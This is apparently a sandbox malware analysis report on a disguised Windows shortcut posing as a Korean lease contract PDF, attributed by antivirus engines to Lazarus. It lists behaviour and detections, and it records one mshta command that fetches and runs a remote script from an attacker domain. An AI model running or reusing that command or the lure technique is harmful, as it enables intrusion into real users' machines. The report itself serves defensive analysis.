popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

부동산 임대차 계약서.pdf.lnk

Generic Malware AntiVM Lnk Format AntiDebug GIF Format
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 Oct. 24, 2024, 9:56 a.m. Oct. 24, 2024, 9:59 a.m.
Size 521.6KB
Type MS Windows shortcut, Item id list present, Points to a file or directory, Has command line arguments, Icon number=130, Archive, ctime=Sat Dec 7 00:09:39 2019, mtime=Wed Jul 19 00:29:04 2023, atime=Sat Dec 7 00:09:39 2019, length=14848, window=hide
MD5 ac9ab7765b8127f1fbb633cd1209ebb6
SHA256 fd87fa2e1a6540e040b15fc81f851773d243e1c6ef0efe91e85e4d91da8acb22
CRC32 8A359277
ssdeep 12288:4VEz6+E8z0PnIlP2Nvi2gmz20ZXwlIK1b1lnAh+7m9UOnWeeASxB:1z6dHnXK5mbZAlI4/OjWeeLB
Yara
  • lnk_file_format - Microsoft Windows Shortcut File Format
  • Lnk_Format_Zero - LNK Format
  • Generic_Malware_Zero - Generic Malware

Name Response Post-Analysis Lookup
olkimj.online 47.244.44.175
IP Address Status Action
164.124.101.2 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2208
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x74092000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2208
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73b23000
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\부동산 임대차 계약서.pdf.lnk
cmdline "C:\Windows\System32\mshta.exe" "http://olkimj.online/shiba/jegil/sungreen2.php"
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2208
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x7ef80000
process_handle: 0xffffffff
1 0 0
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
Time & API Arguments Status Return Repeated

RegSetValueExA

 key_handle: 0x000002d0
regkey_r: ProxyEnable
reg_type: 4 (REG_DWORD)
value: 0
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable
1 0 0
CTX lnk.trojan.generic
CAT-QuickHeal LNK.APT.43736
ALYac Trojan.Agent.LNK.Gen
VIPRE Generic.DangerousPassword.Lazarus.D.E7F811BC
Arcabit Generic.DangerousPassword.Lazarus.D.E7F811BC
VirIT Trojan.LNK.Heur.A
Kaspersky HEUR:Trojan.WinLNK.Agent.gen
BitDefender Generic.DangerousPassword.Lazarus.D.E7F811BC
MicroWorld-eScan Generic.DangerousPassword.Lazarus.D.E7F811BC
Emsisoft Generic.DangerousPassword.Lazarus.D.E7F811BC (B)
Sophos Troj/DownLnk-X
FireEye Generic.DangerousPassword.Lazarus.D.E7F811BC
Google Detected
GData Generic.DangerousPassword.Lazarus.D.E7F811BC
AhnLab-V3 Trojan/LNK.Agent.SC205549
VBA32 Trojan.Link.Crafted
Zoner Probably Heur.LNKScript
alibabacloud Trojan:Win/DangerousPassword.Ldwhmvf
Time & API Arguments Status Return Repeated

RegSetValueExA

 key_handle: 0x000002d0
regkey_r: ProxyOverride
reg_type: 1 (REG_SZ)
value: 127.0.0.1:16107;
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyOverride
1 0 0
Process injection Process 3032 resumed a thread in remote process 2208
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000330
suspend_count: 1
process_identifier: 2208
1 0 0